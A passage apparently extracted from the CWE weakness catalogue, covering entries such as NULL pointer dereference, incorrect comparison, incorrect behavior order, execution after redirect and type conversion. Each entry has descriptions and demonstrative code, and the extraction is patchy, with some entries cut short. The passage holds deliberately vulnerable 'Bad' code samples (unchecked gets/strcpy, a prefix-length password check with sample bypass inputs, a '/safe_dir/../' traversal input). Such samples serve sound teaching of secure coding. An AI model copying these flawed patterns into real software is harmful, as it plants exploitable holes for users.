StartsWith	B	252	Unchecked Return Value	613
FollowedBy	B	476	NULL Pointer Dereference	1142

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	252	Unchecked Return Value	613

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

Example 1:

The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Example Language: Java *(Bad)*

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
   ...
}
```

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
   struct hostent *hp;
   in_addr_t *addr;
```

```
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Observed Examples

Reference	Description

CWE-691: Insufficient Control Flow Management

Weakness ID : 691
Structure : Simple
Abstraction : Pillar

Description

The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	2106
ParentOf	B	1281	Sequence of Processor Instructions Leads to Unexpected Behavior	2141

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
   pthread_mutex_lock(mutex);
   /* access shared resource */
   pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
   int result;
   result = pthread_mutex_lock(mutex);
   if (0 != result)
      return result;
   /* access shared resource */
   return pthread_mutex_unlock(mutex);
}
```

Example 2:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true)
   Do_X();
   Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3:

This function prints the contents of a specified file requested by a user.

Example Language: PHP *(Bad)*

```
function printFile($username,$filename){
   //read file into string
   $file = file_get_contents($filename);
   if ($file && isOwnerOf($username,$filename)){
      echo $file;
      return true;
   }
   else{
      echo 'You are not authorized to view this file';
   }
   return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

CWE-692: Incomplete Denylist to Cross-Site Scripting

Weakness ID : 692
Structure : Chain
Abstraction : Compound

Description

The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	184	Incomplete List of Disallowed Inputs	466
FollowedBy	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	168

Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-693: Protection Mechanism Failure

Weakness ID : 693
Structure : Simple
Abstraction : Pillar

Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID : 694
Structure : Simple
Abstraction : Base

Description

The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

Extended Description

If the product assumes that each resource has a unique identifier, the product could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	G	99	Improper Control of Resource Identifiers ('Resource Injection')	249
ParentOf	V	102	Struts: Duplicate Validation Forms	252
ParentOf	V	462	Duplicate Key in Associative List (Alist)	1114

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459
MemberOf	C	137	Data Neutralization Issues	2348
MemberOf	C	399	Resource Management Errors	2361

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.*	
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Demonstrative Examples

Example 1:

These two Struts validation forms have the same name.

Example Language: XML *(Bad)*

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
```

```
</form-validation>
```

It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. *https://www.cve.org/CVERecord?id=CVE-2013-4787*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2448
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2572

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

CWE-695: Use of Low-Level Functionality

Weakness ID : 695
Structure : Simple
Abstraction : Base

Description

The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Example Language: Java *(Bad)*

```
class Echo {
   public native void runEcho();
   static {
      System.loadLibrary("echo");
   }
   public static void main(String[] args) {
      new Echo().runEcho();
   }
}
```

Example Language: C *(Bad)*

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
   char buf[64];
   gets(buf);
   printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections

offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Example 2:

The following example opens a socket to connect to a remote server.

Example Language: Java *(Bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  // Perform servlet tasks.
  ...
  // Open a socket to a remote server (bad).
  Socket sock = null;
  try {
    sock = new Socket(remoteHostname, 3000);
    // Do something with the socket.
    ...
  } catch (Exception e) {
    ...
  }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

CWE-696: Incorrect Behavior Order

Weakness ID : 696
Structure : Simple
Abstraction : Class

Description

The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java *(Bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
   File f = new File(path);
   return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java *(Good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
   return f.getCanonicalPath();
}
```

Example 2:

This function prints the contents of a specified file requested by a user.

Example Language: PHP *(Bad)*

```
function printFile($username,$filename){
   //read file into string
   $file = file_get_contents($filename);
   if ($file && isOwnerOf($username,$filename)){
      echo $file;
      return true;
   }
   else{
      echo 'You are not authorized to view this file';
   }
   return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Example 3:

Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access.

Example Language: Verilog *(Bad)*

```
module foo_bar(data_out, usr_id, data_in, clk, rst_n);
output reg [7:0] data_out;
input wire [2:0] usr_id;
input wire [7:0] data_in;
input wire clk, rst_n;
wire grant_access;
always @ (posedge clk or negedge rst_n)
begin
   if (!rst_n)
      data_out = 0;
   else
      data_out = (grant_access) ? data_in : data_out;
      assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
end
endmodule
```

This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since

grant_access does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.

Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.

Example Language: Verilog *(Good)*

```
always @ (posedge clk or negedge rst_n)
begin
   if (!rst_n)
      data_out = 0;
   else
      assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
      data_out = (grant_access) ? data_in : data_out;
end
endmodule
```

Observed Examples

Reference	Description
CVE-2019-9805	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. *https://www.cve.org/CVERecord?id=CVE-2019-9805*

CWE-697: Incorrect Comparison

Weakness ID : 697
Structure : Simple
Abstraction : Pillar

Description

The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

Extended Description

This Pillar covers several possibilities:

- the comparison checks one factor incorrectly;
- the comparison should consider multiple factors, but it does not check at least one of those factors at all;
- the comparison checks the wrong factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java *(Bad)*

```
public class Truck {
   private String make;
   private String model;
   private int year;
   public boolean equals(Object o) {
      if (o == null) return false;
      if (o == this) return true;
      if (!(o instanceof Truck)) return false;
      Truck t = (Truck) o;
      return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
   }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
   if (strncmp(username, inUser, strlen(inUser))) {
      logEvent("Auth failure of username using strlen of inUser");
      return(AUTH_FAIL);
   }
   if (! strncmp(pass, inPass, strlen(inPass))) {
      logEvent("Auth success of password using strlen of inUser");
      return(AUTH_SUCCESS);
   }
   else {
      logEvent("Auth fail of password using sizeof");
      return(AUTH_FAIL);
   }
}
int main (int argc, char **argv) {
   int authResult;
   if (argc < 3) {
      ExitError("Usage: Provide a username and password");
   }
   authResult = AuthenticateUser(argv[1], argv[2]);
   if (authResult == AUTH_SUCCESS) {
      DoAuthenticatedTask(argv[1]);
   }
   else {
      ExitError("Authentication failed");
   }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(Attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) *https://www.cve.org/CVERecord?id=CVE-2021-3116*
CVE-2020-15811	Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning *https://www.cve.org/CVERecord?id=CVE-2020-15811*
CVE-2016-10003	Proxy performs incorrect comparison of request headers, leading to infoleak *https://www.cve.org/CVERecord?id=CVE-2016-10003*

Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

CWE-698: Execution After Redirect (EAR)

Weakness ID : 698
Structure : Simple
Abstraction : Base

Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	438	Behavioral Problems	2364

Weakness Ordinalities

Primary :

Alternate Terms

Redirect Without Exit :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity Availability	Alter Execution Logic Execute Unauthorized Code or Commands *This weakness could affect the control flow of the application and allow execution of untrusted code.*	

Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP *(Bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
   echo "You are not authorized to view this page";
   http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Observed Examples

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C *(Bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following method throws three types of exceptions.

Example Language: Java *(Good)*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
  ...
}
```

While it might seem tidier to write

Example Language: Java *(Bad)*

```
public void doExchange() throws Exception {
  ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Observed Examples

Reference	Description
[REF-1374]	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391) *https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards*
CVE-2022-22224	Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835) *https://www.cve.org/CVERecord?id=CVE-2022-22224*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2402

MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2568

Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions

CWE-704: Incorrect Type Conversion or Cast

Weakness ID : 704
Structure : Simple
Abstraction : Class

Description

The product does not correctly convert an object, resource, or structure from one type to a different type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	1335
ParentOf	B	681	Incorrect Conversion between Numeric Types	1507
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1789
ParentOf	B	1389	Incorrect Parsing of Numbers with Different Radices	2281

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	681	Incorrect Conversion between Numeric Types	1507
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1789

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C *(Bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
```

```
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C *(Bad)*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
  int msgType;
  union {
    char *name;
    int nameID;
  };
};
int main (int argc, char **argv) {
  struct MessageBuffer buf;
  char *defaultMessage = "Hello World";
  buf.msgType = NAME_TYPE;
  buf.name = defaultMessage;
  printf("Pointer of buf.name is %p\n", buf.name);
  /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
  could be any value. */
  buf.nameID = (int)(defaultMessage + 1);
  printf("Pointer of buf.name is now %p\n", buf.name);
  if (buf.msgType == NAME_TYPE) {
    printf("Message: %s\n", buf.name);
  }
  else {
    printf("Message: Use ID %d\n", buf.nameID);
  }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Observed Examples

Reference	Description
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) *https://www.cve.org/CVERecord?id=CVE-2021-43537*
CVE-2022-3979	Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704) *https://www.cve.org/CVERecord?id=CVE-2022-3979*

CWE-705: Incorrect Control Flow Scoping

Weakness ID : 705
Structure : Simple
Abstraction : Class

Description

The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1529
ParentOf	B	248	Uncaught Exception	604
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	941
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	965
ParentOf	B	396	Declaration of Catch for Generic Exception	967
ParentOf	B	397	Declaration of Throws for Generic Exception	970
ParentOf	B	455	Non-exit on Failed Initialization	1096
ParentOf	B	584	Return Inside Finally Block	1328
ParentOf	B	698	Execution After Redirect (EAR)	1545

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic Other	

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
   String ip = req.getRemoteAddr();
   InetAddress addr = InetAddress.getByName(ip);
   ...
   out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP *(Bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
   echo "You are not authorized to view this page";
   http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 3:

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Example Language: Java *(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
   try {
      ...
   } catch (ApplicationSpecificException ase) {
      logger.error("Caught: " + ase.toString());
      System.exit(1);
   }
}
```

Observed Examples

Reference	Description
CVE-2023-21087	Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception *https://www.cve.org/CVERecord?id=CVE-2023-21087*
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-707: Improper Neutralization

Weakness ID : 707
Structure : Simple
Abstraction : Pillar

Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
